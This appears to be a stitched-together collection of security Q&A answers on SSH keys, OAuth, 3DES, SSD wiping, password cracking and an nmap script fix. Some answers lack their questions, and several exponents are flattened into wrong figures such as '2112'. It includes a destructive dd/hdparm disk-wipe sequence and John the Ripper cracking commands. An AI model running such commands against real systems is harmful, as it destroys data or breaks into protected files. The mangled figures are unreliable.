A one time pad offers information theoretic security. This essentially means that the one time pad cannot be broken even if the adversary has unlimited computing power. This is because XOR-ing any data against a truly random key will guarantee that the output be random as well because you are simply flipping bits.


Do MS monthly security rollups include previous monthly rollups?

For Windows 10, updates are cumulative. In October 2016, all patches to Windows 7 and 8.1 became cumulative as with Windows 10. The ability to download and install individual updates were removed as existing updates were transitioned to this model. Source: Wikipedia

I interpret this as if you will get March's update too if you install April's.


Remote host identification is different on different networks

The wrong key certainly implies that the encryption is being terminated somewhere other than at the intended host. That might be a mitm attack, it might be a redirection attack or it may be that the network you are connected implements some sophisticated technology for monitoring activity. But recognising a server host in SSH is solely based on the first time you connect to that host - hence it is also possible that network A is giving you an uninterrupted connection while B and C are the compromised connection although less probable than the original hypothesis.

A further possibility is that you are connecting to an SSH service implemented on more than one host. Although all the best practice I have come across (Redhat, VMware, SSH software corp, AWS) recommends using the same server key across all hosts implementing the service, when I was recently implementing such an infrastructure, the architect and security consultant insisted that the instances had to use unique keys (because that's what it says in the CIS checklist).

But the short version is this : we can't tell what is the true connection.

If you login with a password, you could be exposing this to an intended recipient. But if you authenticate using a key pair then an interloper cannot compromise your access.

As to the question of which key is the true key, if you can login using a key pair, and can verify that the host is the one you intended (e.g. your files are in your home dir) then try to SSH localhost and see what key is presented.


Option to secure docker socket from containers

It sounds like you're asking about Kubernetes. PodSecurityPolicy is the Kubernetes upstreamed version of OpenShift's Security Context Constraints (SCC), and can be used to limit access to HostPath volumes. However, there is a known issue with the AllowedPaths implementation, so it is safest to disable HostPath volumes completely for Pods that don't require it. Assuming the docker socket requires root privileges to access, you can also restrict which containers are running as root (don't forget to set no_new_privs, disable AllowPrivilegeEscalation in Kubernetes).


Pawn in a nefarious porn marketing campaign?

I think the most likely thing here is that the links are being edited with JavaScript on page load. Google's spiders do not run JavaScript, as far as I know, and it's very common for hackers to use client-side scripts to inject links instead of editing the HTML as it allows for obfuscation and mutation (to prevent users from wgetting and removing the offending code). It's also possible that they are using JavaScript because the site has a XSS bug of some kind.

Either way, they probably point the pre-edited links to you as a misdirection tactic, similar to how virus authors add known DoD IPs to the list of update servers (I'm not sure how common that is but there was another question on stackoverflow regarding a virus that did exactly that).

As for solutions, I'd suggest you convert your website to a porn site and enjoy the free traffic.


the first security hole is your shared "el-cheapo" server. if you can not trust your machine, you can not trust your applications.

what this means is that if you have no controle over the machine itself, adding security to it is pointless, an attacker will just attack your webserver instead of your connection and makes sure he can do anything he/she wants to do and "Steal all the data!"

have a look at the OWASP pages. they offer much information about how to secure any (web-) program.

If in the end all you want to do is have a limited set of clients use your "app" and do it secure, you could look at implementing an SSH client / server architecture (basically making SSH do all the security and connection and just use it as a tunnel for your purpose)

good luck


Is it possible for a successful domain hijacker to fraudulently use the certificate issued to the real owner of the domain name?

No, you can't trust it. It is possible that:

The real site has suffered a compromise of its private key
One of the many certificate authorities whose root certificates are in your browser has suffered a compromise of its signing key
One of the certificate authorities is not following procedures correctly and is issuing certificates that it shouldn't be
There's a bug in the browser or a certificate authority's software that allows an attacker to get a certificate issued that the browser trusts
A government agency has got its own root certificate included in your browser as a trusted certificate authority
There's a zero-day exploit of the TLS protocol

(Certificate pinning is a mitigation for numbers 2, 3, 4 & 5, but requires more knowledge and experience from the user, and is not yet widely implemented, although Chrome has some support for it.)


Can I trust large companies like Google not to store failed password attempts?

Nobody can ever tell you to trust or distrust some entity; you, yourself, will need to choose to trust this entity. You already trust Google not to load exploit code in your browser, you already trust Google by actually using their browser (Chrome), you already trust Google with your private conversations (GMail), your embarrassing search terms (yeah, they know what you like).

You see, whenever you have a question like this, simply think "Do I really matter?". The answer is most likely "No". You're nothing, you're a droplet in a sea of information. Every conversation you've ever had with anybody, every memory you have, every SMS you sent, every phone call, every email, every photo, all of them put together are less than 0.000000(a bunch more zeros)001% of the data Google and other big entities have and work with.

So, should you trust that Google will not store your failed password? I don't know. Should you trust that the NSA will not have access to that password? I don't know. But here's something I know for sure: The NSA don't really need your password to access your email, they simply tell Microsoft or Google "This guy... national security threat... send me all of his emails", that's it.

So, worrying about it doesn't matter very much. If you really feel like you should worry, then just change all instances of that password. Otherwise, don't think about it and enjoy your day.


Use the same password on different (very secure) sites?

Regardless of how secure any individual site/organization may or may not be the more places one uses the same password the more chances there are for unauthorized disclosure. A chain is only as strong as its weakest link.

Using unique passwords for each site isn't about the individual site's security. It's more about limiting your exposure should something happen to that password. Even if the sites themselves are perfect there are plenty of other ways passwords get compromised (key loggers, shoulder surfing, social engineering, ect...).

Yes maybe you use a password safe and are immune to all 3 of my examples but that's not the point. The point is that the more places that password is used the more possible exposure you open yourself up to. So the more places that same password was used the more places you have to change the password to and the more places you have to keep an eye on should your password be compromised.


How to resolve Path Manipulation error given by fortify?

Fortify is raising an issue, not an error because you are taken input from the process's environment and then opening a path with it without doing any input filtering. Even if you were to add input filtering, the odds are low that Fortify were to recognize it and stop producing the issue. So, in the end, you'll likely set the issue's analysis to Not an issue and just stop worrying about it. But you must first determine if this is a real security concern or a false positive.

When it comes to these specific properties, you're safe. The Java VM sets them so, as long as Java isn't corrupted, you're safe. So mark them as Not an issue and move on.

PS: Yes, Fortify should know that these properties are secure.


After reading more about SAML, OpenID, and JWT, it seems that encrypting the authentication and authorization payload in a JWT, which gets signed provides assurance that the data it contains is valid and untampered. That is the same level of protection that the tokens from SAML and OpenID use. After that, the same problems of token theft that apply to every session management system exist and there are well-known mitigations for that.


How do mobile apps share details with each other to show customized ads

The apps do not share information. They use an ad network to display ads to users. Many apps will use the same networks, and those networks are also used by websites, so the network knows the user's behaviours on the apps and the websites that use them. That way the network shows relevant ads to users.
The apps and websites don't actually know what ads are being shown to users.


Protecting an admin area from the public

I faced the same situation, you either only allow access to the console from certain IPs and then hardcode all public IPs or ranges that should have access to it. Or restrict access to a certain LAN range and only allow access from there. You can then set up a VPN solution and give all people that need access to the admin panel access to the VPN. People will first have to authenticate to the VPN and only then can they get access to the administrative panel (which has another log in). In this way people can still access the admin panel from anywhere (in case they are working from home) but it's not reachable for everyone.

I think it might also be a good idea to implement two factor authentication (but that's up to you to decide).

Also I suggest reading this question I posted a while ago on securing admin panels: Bruteforce vs Denial of Service


applications of double DES and triple DES

3DES tries to cope with the biggest weakness of DES, which is its short key. A DES key contains only 56 useful bits, which makes it amenable to exhaustive search. This has been demonstrated as early as 1998.

Cascading two or three instances of the algorithms, with distinct keys, is a fix which was easy to apply on hardware which already included some DES circuitry. Moreover, 3DES has been especially designed so that it can be "DES-compatible": since 3DES is "encrypt-decrypt-encrypt", it suffices to make all three DES keys identical to obtain the same result as plain DES.

3DES remains in active use in a lot of legacy systems, and also in many smart cards because it is inexpensive in hardware (DES is slow in software, and 3DES thrice so, because DES is full of permutations of bits which are hard for code, but in hardware this is "just" plugging the right wires to the right transistors, with almost zero cost).

Security of 3DES is, in an academic way, about 2112 operations, which translates as "you cannot break that". The main trouble with 3DES is that it operates on 64-bit blocks, so some issues begin to happen when you encrypt more than 232 blocks with the same key (that's thirty gigabytes or so, which is large but not huge nowadays). The AES is meant to replace 3DES, but such migrations are always slow so not everybody has switched to AES yet.


Authenticating on the client with OpenID Connect using Authorization Code flow?

The main idea of the authorization grant flow that the client does not know user credentials at all. So there is no legal way to do it.

But as WA you can try to send authorization request directly to Authorization Server and emulate redirect behind the scene (with assumption that you owns both client and server and takes the responsibility for breaking the spec ).


Store database access password in PHP class const?

Step one is to never store the password in the webroot. You allready got that covered. Good!

Step two is to not store the password in PHP code. Your code base should be free of secrets, be it in class constants or anything else. That let's you commit it to version control, make backups, share it, etc., without second thought.

Keeping the secrets out of the source code is not just good for security, but also good software development practice. Your source should not be dependent on the environment the application is running it.

So how do you solve this? Consider using an environment variable, a configuration file or php_value in httpd.conf. For all these cases you'll have to think about what processes has access to the value and how you restrict that.


MS03-026 RPC DCOM Exploit not working on metasploit

It seems, the Windows XP you are using, is patched for that vulnerability.


Closed source is more secure than open-source as attackers can view the source code and find and exploit vulnerabilities.  While I'm not claiming this is always false, with open source software it's at least possible for outside experts to review the software looking for gaping vulnerabilities/backdoors and then publicly patching them.  With closed source software that simply isn't possible without painstakingly disassembling the binary.  And while you and most attackers may not have access to the source code, there likely exist powerful attackers (e.g., US gov't) who may be able to obtain the source code or inject secret vulnerabilities into it.
Sending data over a network is secret if you encrypt the data.  Encryption needs to be authenticated to prevent an attacker from altering your data.  You need to verify the identity of the other party you are sending information to or else a man-in-the-middle can intercept and alter your traffic.  Even with authentication and identification, encryption often leaks information.  You talk to a server over HTTPS?  Network eavesdroppers (anyone at your ISP) knows exactly how much traffic you sent, to what IP address, and what the size of each of the responses (e.g., you can fingerprint various webpages based on the size of all the resources transferred).  Furthermore, especially with AJAX web sites, the information you type in often leads to a server response that's identifiable by its traffic patterns.   See Side-Channel Leaks in Web Applications.
Weak Password Reset Questions - How was Sarah Palin's email hacked?  A person went through the password reset procedure and could answer every question correctly from publicly available information.  What password reset questions would a facebook acquaintance be able to figure out?
System X is unbreakable -- it uses 256-bit AES encryption and would take a billion ordinary computers a million billion billion billion billion billion years to likely crack.  Yes, it can't be brute-forced as that would require ~2256 operations.  But the password could be reused or in a dictionary of common passwords.  Or you stuck a keylogger on the computer.  Or you threatened someone with a $5 wrench and they told you the password.  Side-channel attacks exist.  Maybe the random number generator was flawed.  Timing attacks exist.  Social engineering attacks exist.  These are generally the weakest links.
This weak practice is good enough for us, we don't have time to wait to do things securely.  The US government doesn't need to worry about encrypting the video feeds from their drones - who will know to listen to the right carrier frequencies; besides encryption boxes will be heavy and costly - why bother?
Quantum Computers can quickly solve exponential time problems and will break all encryption methods.  People read popular science articles on quantum computers and hear they are these mystical super-powerful entities that will harness the computing power of a near infinite number of parallel universes to do anything.  It's only part true.  Quantum computers will allow factoring and discrete logarithms to be done in polynomial time O(n3) via Shor's algorithm rendering RSA, DSA, and encryption based on those trap-door functions easily breakable.  Similarly, quantum computers can use Grover's algorithm to brute force a password that should take O(2N) time in only O(2N/2) time; effectively halving the security of a symmetric key -- Granted Grover's algorithm is known to be asymptotically optimal for quantum computers, so don't expect further improvement.


Recent analysis has revealed exploitable weaknesses in some PKZip variants that some software can leverage, such as the the latest beta of hashcat. These weakness allow for very high speed for 15 characters or less.

If you're willing to study the use of hashcat, and do the work work to get it set up on a system with a relatively modern GPU, hashcat can crack these at pretty high speeds - but the learning curve can be steep.


Are my home keys compromised if I use a key duplication machine?

Your home keys are compromised the second you let someone take a look at them. I recall the story of a prisoner who made a copy of the warden's key himeself just by remembering how it looked.

For most this is an acceptable risk as lockpicking is a thing, and most doors can easily be taken down, so someone who wants to get in will get in.

If you deem the risk not acceptable, consider making your own electronic lock with PKI smart cards. The lock will give the card a random challenge and the card has to sign it with its private key. Thus replay attacks are foiled (where an attacker having access to the key generates a ton of signatures for later use) and copying is impossible as the private key can't be extracted.

Do not rely on those smart home "locks" which use wireless and mobile phone apps. Not only do they have a huge attack surface, designed by people who have more experience in marketing than in security, and they require you to have an app which you can't be sure how long they'll maintain. I consider those devices as toys for people to brag about how smart stupid their home is rather than proper security tools.

Of course with such a strong lock you should also think about replacing the door, otherwise you may find that your lock is all that remains of the door.


Can more than one app claim a URL in Universal Links / App Links? What happens?

No, a collision is not possible.

The way that app links and universal links work is

Your web page contains a URL to a file on your web server
The file contains the information that tells the device what app to open.

The link might look like this:
https://<domain>/apple-app-site-association

The file might look like this:

"applinks": {
    "apps": [],
    "details": [
        {
            "appID": "9JA89QQLNQ.com.apple.wwdc",
            "paths": [ "/wwdc/news/", "/videos/wwdc/2015/*"]
        },
        {
            "appID": "ABCD1234.com.apple.wwdc",
            "paths": [ "*" ]
        }
    ]
}

So in order to create an app association using of of these links, you have to own a server that matches the domain in the URL.

You can only put files on web servers that you own, of course; nobody else can (unless you have given them permission or they have hacked you).  So whoever owns the web server also owns the app association.  No collisions.


Regarding GDPR compliance, you're not violating the registered persons rights by displaying otherwise restricted content for authenticated users - that is, unless the information you display contains personal identifiable information, like the individuals health information, home address etc. Personal information must be kept secure and not disclosed to someone else beside the individual in question, unless there is explicit consent from the user or you have legal basis to do so.

In regards to security concerns I would personally never allow that on a site containing non-public information.
In your example with the e-mail link it might be alright, if:

The user has to register to receive a copy of your e-book
The user receives an email
In the e-mail there is a link which gives the user access to the e-book without authenticating first.

But if you instead:

Let the user register for a health insurance policy
sends an e-mail to the user about their sign up
The e-mail contains a link which leads to your site with their health information

You would not be able to ensure that this health information is not disclosed to someone else which could mean a violation of GDPR. Authentication processes can be made very smooth nowadays, so I don't see a reason not to require login from the user before letting them access restricted content.
If you're in doubt I would raise this with someone from the legal department in your company.


Best current methods for preventing data leakage from SSD

The short answer to your first question is that if you don't trust the secure erase implementation, and your drive uses wear leveling, you can not be satisfied all data is completely removed from the SSD without physically destroying it. [1]

A method to add some additional peace of mind to the secure erase would be to try to erase as much as possible before hand.  For example, by overwriting the whole device and then running secure erase after as shown here:

# dd if=/dev/zero of=/dev/X bs=4096
# hdparm --user-master u --security-set-pass <PASS> /dev/X
# time hdparm --user-master u --security-erase <PASS> /dev/X

Where "X" is your device, and  is a password.  There are guides here that can provide more detail about wiping using dd:

https://wiki.archlinux.org/index.php/Securely_wipe_disk

And using secure erase:

https://ata.wiki.kernel.org/index.php/ATA_Secure_Erase

The dd command should zero out all storage that is not held in reserve or bad, and the secure erase "should" get everything. The only question I am left asking is how the wear leveling works - it may be possible that running the dd command multiple times might overwrite blocks that were not written to the first time - but this would require knowledge about the wear leveling I do not have.

This would of course erase the whole device (as in your second question), not just a section. To erase a section you could overwrite the data, as well as all the free space instead of the whole device.  This can be done using dd, with the output going to a file instead of device. It would need to be done as root to ensure the space reserved for the root user gets overwritten as well. This adds the filesystem layer to the procedure so may not get all the storage due to restrictions there.

If you put the header on a separate device, you could simply use a device you are willing to physically destroy to ensure the header is not recoverable. Another option is to use a secure device (such as a NitroKey/SmartCard) to store store the key (or perhaps even the detached header), which could be long enough to ensure brute-force attacks are not feasible on the storage device.

[1] If there is some way you will trust secure erase; eg. reverse engineering or otherwise obtaining information about the secure erase feature on the drive, then running secure erase would do it of course.


first suggestion: this thread will get better responses over "https://security.stackexchange.com/", so get it moved there

answer:

I've been a self-learner of Security for long time, and from my own (and other security enthusiasts I know) experience I can say that you don't need to take any paid course to learn about Security..... actually that might give you a good boot-up but there are lots of free/open resources which would help you do the same.

I'd say start following blogs/tweets of good Security Experts that you can get hold of. Follow what's being discussed in Security Conferences (like DefCon, BlackHat, ShmooCon & more), you can even get loads of videos from these conferences on Youtube, Vimeo and their respective site.

I did started with a very basic intro guide (an open-content e-book) to hacking, but it's in its initial stages..... if you wanna keep a tab on it and follow up, the link is

Link:  https://github.com/abhishekkr/eden_guide_to_hacking

until now I've covered::
part.0 Fundamentals,
part.1 Hacking Cycle step.0 Acquiring Target, and
part.1 Hacking Cycle step.1 Reconnaisance [Active Recon, Passive Recon]

~~~~~

apart from learning basics, also keep track of what's going on in Security Arena from portals like

Link: http://threatpost.com/en_us

Link: http://www.exploit-db.com/

and for any query you can always post it on https://security.stackexchange.com/


Attaching hotspot to existing network - can it be secured?

I know this question is a bit old, and already has an accepted answer.  But I thought I could add to it for those who find it still.

I'm possibly missing something here since I'm not quite a network expert, but since you are running m0n0wall, you have access to some pretty advanced firewall and routing features.  As a sidenote,  pfSense is a fork of m0n0wall that has gotten a lot more attention lately and might be easier to use.

Assuming you have full control of the devices, and they have very configurable routing, you should be able to block off all the not-publicly-routable ip addresses.  This would make it so anyone connecting on the hotspot could be routed to Internet addresses, but not to anything internal since the internal IPs will (with rare, usually poorly planned, exceptions) be in the non-routable address space.

The ranges set aside for such internal networks (that you would block the hotspot from routing to) are as follows:

IANA-reserved private IPv4 network ranges

10.0.0.0    10.255.255.255
172.16.0.0  172.31.255.255
192.168.0.0 192.168.255.255

Furthermore, you should be able to setup multiple Wireless access points from this single device so that you would be providing the added service of a secure INTERNALLY routable connection as well.  The public hotspot would be blocked from internal addresses, but anyone connecting to the other secure signal would not be blocked. This is great with so many business users relying on wifi connections to avoid the inconvenience of connecting wires to everything.

When I think more about it, I'm pretty sure many consumer grade wireless routers have guest network features built in that do exactly this when you plug in the WAN on their WAN port and the rest of the network on the LAN ports.  But if you are adding custom features, something like pfSense is the way to go.


Trusted Platform Module (TPM) secure password

The TCG spec doesn't impose any characters limit for the SRK and owner passwords as they are processed as hash values. Briefly, this means that for whatever password length, e.g. with TPM 1.2 it will always end up as 20Bytes/160bits (i.e. SHA1 hash).

In reality, the command line tool or the GUI you're using might add some limitations, e.g. the GTK GUI impose a 255 characters limitation on the password field.


"No password hashes loaded" John does not recognise my hashes

john --format=rar --wordlist=pass.txt test.rar

You're telling john to look in the original .rar file for password hashes.  John the Ripper does not understand how to parse .rar files (that's what rar2john is for); you need to pass the file containing the extracted password hash:

john --format=rar --wordlist=pass.txt test.hash


New to malware analysis, looking for a string type list

From the + and / you can tell this is Base64 per RFC 4648, 4:

Characters ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Padding =, == or nothing in the end.

Then there is:

Binary 01
Decimal 0123456789
Base16 a.k.a. hexadecimal: 0123456789ABCDEF (case insensitive) RFC 4648, 8
Base32:

RFC 4648, 6: A-Z, 2-7: ABCDEFGHIJKLMNOPQRSTUVWXYZ234567 (omitting 0 and 1)
z-base-32: ybndrfg8ejkmcpqxot1uwisza234h769
Crockford's Base32: 0123456789ABCDEFGHJKMNPQRSTVWXYZ + possible checksums
base32hex, RFC 4648, 7: 0123456789ABCDEFGHIJKLMNOPQRSTUV
Geohash: 0123456789bcdefghjkmnpqrstuvwxyz (omitting a, i, l and o)
...many others, some having completely overlapping sets in different order

Base36: 0-9, A-Z: 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
Base58 removes 0, O, I, l, + and / from Base64, but has variations:

123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz used by Bitcoin
123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ used by Flickr

Base85 or Ascii85. Impossible to format here, as literally having "`" in it. See RFC 1924, 4.2.
URL encoding a.k.a. Percent-Encoding from RFC 3986, 2.1
Punycode RFC 3492
Endless list of proprietary or undocumented encodings...

As you can already see, it's only possible to rule out what an arbitrary string can't be and then make educated guesses on what it might be. After that you'd still have to know whether the contents encoded are anything meaningful to your. As it depends entirely on the context, it's not possible to analyse this kind of string on Q/A sites.


How to authorize access to a resource when requested with CORS and validate the origin?

You are focused for user will access your server directly. Same data can be represented by www (proxy) and authorization validation can be done. Following list will describe a solution for you, could you please review.

www.example.com will map resource.example.com as www.example.com/resource/. For example "profile.jpeg" will be at place "resource.example.com/profile.jpeg" but will be able to access with "www.example.com/resource/profile.jpeg"
Write proxy configuration to your HTTPd (if there is a load balancer it will be better of course). You will need configuration described below. When resource directory tried to access, this request will be proxied to resource.example.com.
If authorization will be given by www.example.com so it have to validate it. There is couple of authorization validation technique, I suggest something like subrequest feature of Nginx. If users are not be authorized for access this data, forget this step.
Deploy ip filter & be sure only www is able to communicate (tcp/ip) with resource.

You can see flow representation.

User requests www.example.com/x/y/z    =>  Nginx (Proxy)  => www.example.com
----------------------------------------------------------------------------------
User requests www.example.com/resource =>  Nginx (Proxy)  => resource.example.com
                                                ||
                                         Auth SubRequest
                                                ||
                                                \/
                                     www.example.com/auth-check

This should solve your problem.


Does a dead person's SSN, etc need to be protected?

I think the answer is "no".  You are technically a third party who holds the documents, and the SSA website says you need to retain the records for two years after death, and destroy the records after they are no longer needed.  It doesn't appear to list exceptions to the destruction rule for a deceased persons' records.


John the Ripper - Calculating brute force time to crack password

Your actual calculations seem solid after your edit with fixes.

However, now I'm going to handwave the math in seconds to demonstrate exponential speed increases which render fractions of days trivial.  Besides, a reboot or two would mess that up regardless, not to mention actually using the machine for other things, regular patching, power outages, normal speed variance as other processes run, etc.

Your expected time depends on your assumptions.  If you assume you're going to start this exact computer running on all twelve passwords and this version of JtR, and simply leave it there for a couple decades, then yes, that's about right.

If, however, we use House's corollary to Moore's law, i.e. aggregate computing power doubles every 18 months (with password hash cracking being embarrassingly parallel, this is reasonable enough to start with), then we realize that if you just wait 1.5 years, then you'd crack twice as fast, so you'd be done in about one decade instead of about two.

More advanced: You use this machine for 6 years, and are more or less 6/20ths of the way through.  You then quit using your old setup, and buy a new setup that's roughly 16 times faster for a more or less reasonable price, and the remaining 14/20ths are done in 1/4th the time, i.e. 14/16=just under a year + 6 years waiting = just under 7 years.

Numbers change with money, of course.

For extra credit, have or buy a good GPU and start using GPU based tools sooner, such as oclHashcat, which should give you dramatically better speeds.


it's pretty hard to compare those two exams, IMO.  Crest CRT is taken on-site with very limited Internet access and OSCP is done remotely, so they favour different types of people.

In terms of level of technical content, I'd expect the OSCP to have more challenges to overcome as it's a longer exam (24 hours IIRC) against the practical element of the CRT which is only a couple of hours long (but then that's part of the challenge!).  So a straight comparison of number of systems probably isn't the best.


Does DKIM protect the whole body message?

There is a default value of l:

From https://tools.ietf.org/html/rfc6376#section-3.5 :

  l= Body length count (plain-text unsigned decimal integer; OPTIONAL,
        default is entire body).

Of course the default should be the entire body. Or what else is DKIM protecting? I write an email and DKIM says "OK I only protect half of your email"? And then Gmail receives the email and warns the user "Dear Bob, the first 100 bytes of this email is validated. But for the rest, I can't promise." ?

Again, if the default is not the entire body, then when a user writes an email, how would he know how many characters he should write?

And I disagree with @schroeder 's answer.

  The reason why there is a defined length is that email servers in the
  relay chain may add to the body. If the entire body was signed and an
  email server added to the body, then the signature check would fail.

If a mail relay or intermediate server change the original email content, the DKIM signature would fail and should fail. And that's why there are other mechanisms invented to get around with this, e.g. ARC (authenticated received chain).


Is it secure to have one salt or generate and send it over the air?

For security, neither is secure. Sending a hash from the client to the authentication server does nothing to protect against password sniffing because the hash is acting as the password.  The only thing sending a hash does is to mitigate against password reuse attacks (eg. Preventing an attacker from using the same password on site A for site B).

Also keep in mind that salting a password mitigates against rainbow table attacks and nothing more. Salt is not considered private information, so encrypting the salt is a useless operation doing nothing to increase the security of the authentication process.

Without using encryption, or having a dedicated line, you cannot send authentication tokens in the clear and maintain security. Turn on SSL to create an infinitely more secure environment.


Are there known incidents of Linux malware coming from unofficial repositories?

Usually what is compromised is the mirror. So the original repo isn't malicious but the mirror on which it is being hosted on is.

That's why it's best to download with package manager so there's gpg signature check. If downloading manually, you can also sometimes verify checksums.

With gpg or checksums checking you are safe from compromised mirrors. The most dangerous thing to do is to download from some mirror without checking.


Do I have to store refresh token in database?

The idea behind cryptographically singed  tokens is that you can pass them through untrusted parties and still trust their content as long as the signature is valid and the private key has not been compromised.

If your refresh token contains all the information needed to issue a new access token and the signature is valid (meaning no one has modified the token content) you can trust the token.

The only reason why you would want to store some parts of the refresh token is so you can check if the token has been revoked. Revocation is a bit more difficult with stateless tokens because the token itself stays valid even though you want to revoke it. Usually you would want to store a „user must reauthenticate“ bit in the database and check that if your issue a new access token with a valid refresh token.


How protect ourselves from USB Firmware viruses? Does Antivirus help?

Where does the driver come from

The driver is downloaded from Windows Update, they are generally signed and secure, with some exceptions, like the signed drivers used by Stuxnet.

Where does the firmware come from

The firmware is loaded onto the device in the factory, and in some most cases can be updated once the device is in use, although depending on the device this may be impossible, or just difficult to get the new firmware and software needed.

What can bad firmware do

Bad firmware can make the drive pretend to be anything, allowing for attacks where the device pretends to be a keyboard and mouse and takes over the machine, downloading and installing malware itself.

How to protect against bad firmware

You can avoid plugging clean devices into suspected infected/untrusted machines, although this will not help if you are unaware a trusted machine has been infected.

There are also some non-upgradeable USB devices, but these tend to be hard to find, and more expensive when available.


Suspicious email! “Data removal request”

The details about (alleged) sender of this mail are missing so one can only speculate from your behavior that this mail is completely unexpected for you. In this case it is very likely a typical phishing mail where the sender tries to lure you into clicking on the provided link and then enter your credentials to some service (Mail, Netflix, Paypal, Facebook ... - targets vary) so that the attacker can misuse these credentials.

If you did not click on the link and filled in the form but just replied to this mail usually nothing bad will happen. The worst thing is that the attacker will see that the mail account is actually active and that you will get more such mails in the future or that the attacker will try to lure you with more targeted mails into providing credentials, executing malware or whatever. Just ignore these attempts.


What is the purpose of the OAuth2 client secret?

In the context of an authorization code grant, the main purpose of the client secret is to prevent client impersonation. That is to say, it prevents a malicious client from pretending to be a legitimate client in order to get an access token from the resource owner under false pretenses.

It is worth pointing out that using a client secret is not the only means available to prevent client impersonation. For public clients (such as mobile apps and single page apps), client impersonation is prevented by the use of fixed https redirect uris. By only allowing specific, https redirect uris, a malicious client attempting to act as a legitimate client would be unable to intercept the authorization code. By being unable to intercept the authorization code, the malicious client would be unable to make the request to the token endpoint.

PKCE solves a different problem - basically, it prevents a malicious client that has somehow received an authorization code from using it to request an access token from the token endpoint. This was originally recognized as a problem in the mobile app space, but it is a useful technique for single page apps too. There is actually no harm in using PKCE with every OAuth 2 client, even those which use a client secret. The OAuth 2 Best Current Practice recommends using it everywhere.


Are interactive Flash (SWF) ad banners a security threat?

I don't see any special danger in the behavior you describe. Acting based on mouse over events instead of only clicking without specifically asking for permission is a common practice not only for ads and not only for flash. For example it is used to show detailed information when hovering over a tag on a question on this site.

Apart from that flash is known to be a security risk by itself and ads are too considered risky because of malvertising. You might reduce this risk by blocking flash and ads.


How to manage company passwords when employing temporary freelancers?

In that situation where creating user accounts is prohibitive or impossible (in the case of some hardware devices) my approach is to have the requisite usernames/passwords stored in sealed envelopes (that can't be seen through.)  That way they will only see what they need and when you return you'll know which passwords they've seen and so can reset and set up a new envelope for the next time.

Note: - This is only something you should use if you absolutely must by the way, if you can create accounts you always should and where possible your admin/root account should not be your 'user' account - even for yourself!


How to test for CSRF if there are many hidden fields with different values?

Burp Suite's extender has a couple of CSRF plugins which might help improve your experience. They either attempt to spot requests with no CSRF protection token as part of the passive scanner, or perform active checks to see if the requests can be performed (i.e. get a 200 OK response) without the tokens.

You might also be interested in zaproxy, which is an open-source alternative to Burp Suite that has the same features and a few more. It might fit you better. The UI isn't quite as intuitive, but it's still great.

Personally, for doing testing of a large number of pages/sites, I'd write a really simple testing script in Python using Scrapy. For each of the given response objects, access the response body, then use the xpath(query) or css(query) functions to identify forms which have CSRF token fields with a given name. You can then gather the full set of inputs to those fields and the target URL.

Once you've got a series of form targets and fields, you can tweak the CSRF tokens as you please, then attempt to submit the forms with whatever values you see fit. Check the response values to see if the result comes back with an error, or redirects to an error.


Can an attacker replace the hash of a download, a download, and the public key?

If the site with the instructions is compromised the attacker can replace all instructions. This means that he can specify a different key to use for verification or omit the verification information completely, that he can specify a different URL for download etc.  That such a compromise can happen shows the hack of the Linux Mint site in 2016 which was changed to point to compromised download at this time.

A site compromise can actually quickly be detected if a site is monitored for changes, which is hopefully the case for important sites. But an attacker does not even need to compromise the original site. Instead the attacker could buy ads for search engines which direct you to "alternative" download sites if you are looking for the downloads. These download sites are in full control of the attacker so he can publish anything there. Such alternative sites are also not detected when monitoring the original site. This type of social attack is very common with downloads of openoffice or similar where a simple download openoffice might lead to a result page which is full of advertisements pointing to download sites. These then usually provide "enhanced" installs which add additional software but could also provide a compromised version.

There is not a lot one can do about this. The underlying question to all of this is whom you can trust. Even if your new computer comes pre-installed with Windows you have to still trust the vendor that the version you have is the original one and that no harmful software was installed additionally. History shows that this is not always the case and that even seemingly trustable vendors add harmful software.


How can I find the process that is trying to use smtp to send email?

I don't know if it works on MacOS, but on linux you can do:

$ sudo netstat -ntop

and get output like:

tcp        0      0 192.168.1.21:51150      10.5.4.3:443       ESTABLISHED 184/firefox    off (0.00/0/0)

The key part is the 184/firefox -- this is the PID and process name, respectively.

The trick would be catching this in action. If it happens regularly, you could run the command above in a loop and grep for the port you want to trap. Otherwise there may be some wizardry you can do with your firewall, but that's beyond my knowledge.


This might have been the Kernel oom-killer in action.

How much RAM does your machine have? Does it have swap memory?

What could happen is when running out of memory, oom-killer will sacrifice a daemon and that daemon might have been the sshd one.

You could confirm this by looking in your messages log /var/log/messages or via journalctl.


Modified NMAP script: variable 'host' is not declared

At the bottom you will see return output_tab(cert), output_str(cert) this is the main code which calls the local functions. You want to edit output of output_str function so change the call as output_str(cert, host, port) and local function output_str(cert, host, port) than it will work.

For full example you can check following code. Replace source code from 230-end with following and it will work (it worked at nmap V7.7).

local function output_str(cert, host, port)
  local lines = {}

  lines[#lines + 1] = "Subject: " .. stringify_name(cert.subject)
  if cert.extensions then
    for _, e in ipairs(cert.extensions) do
      if e.name == "X509v3 Subject Alternative Name" then
        lines[#lines + 1] = "Subject Alternative Name: " .. e.value
        break
      end
    end
  end

  if nmap.verbosity() > 0 then
    lines[#lines + 1] = "Issuer: " .. stringify_name(cert.issuer)
  end

  if nmap.verbosity() > 0 then
    lines[#lines + 1] = "Public Key type: " .. cert.pubkey.type .. "  " .. host.ip .. "  " .. port.number
    lines[#lines + 1] = "Public Key bits: " .. cert.pubkey.bits
    lines[#lines + 1] = "Signature Algorithm: " .. cert.sig_algorithm
  end

  lines[#lines + 1] = "Not valid before: " ..
  date_to_string(cert.validity.notBefore)
  lines[#lines + 1] = "Not valid after:  " ..
  date_to_string(cert.validity.notAfter)

  if nmap.verbosity() > 0 then
    lines[#lines + 1] = "MD5:   " .. stdnse.tohex(cert:digest("md5"), { separator = " ", group = 4 })
    lines[#lines + 1] = "SHA-1: " .. stdnse.tohex(cert:digest("sha1"), { separator = " ", group = 4 })
  end

  if nmap.verbosity() > 1 then
    lines[#lines + 1] = cert.pem
  end
  return stdnse.strjoin("\n", lines)
end

action = function(host, port)
  host.targetname = tls.servername(host)
  local status, cert = sslcert.getCertificate(host, port)
  if ( not(status) ) then
    stdnse.debug1("getCertificate error: %s", cert or "unknown")
    return
  end

  return output_tab(cert), output_str(cert, host, port)
end


